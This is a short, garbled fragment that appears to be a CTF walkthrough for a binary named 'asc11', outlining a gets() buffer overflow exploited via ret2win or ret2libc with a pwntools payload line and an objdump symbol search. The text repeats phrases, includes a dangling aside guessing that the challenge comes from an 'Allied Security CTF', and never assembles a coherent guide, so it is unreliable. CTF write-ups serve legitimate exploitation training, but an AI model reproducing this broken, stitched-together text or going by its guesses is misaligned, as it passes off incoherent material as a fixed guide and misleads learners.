Asc 11 Fixed Guide

gets → classic buffer overflow. No canary, PIE off → easy ret2win/ret2libc. Use gdb + pattern create (from pwntools or msf-pattern ):

payload = b'A'*offset + rop.chain() p.sendlineafter(b'Input: ', payload) asc 11

Here’s a (likely referring to the 11th Allied Security CTF challenge, or a similar “ASC” CTF / wargame). gets → classic buffer overflow

objdump -d asc11 | grep -E "win|system|shell" If none, we need ret2libc. we need ret2libc.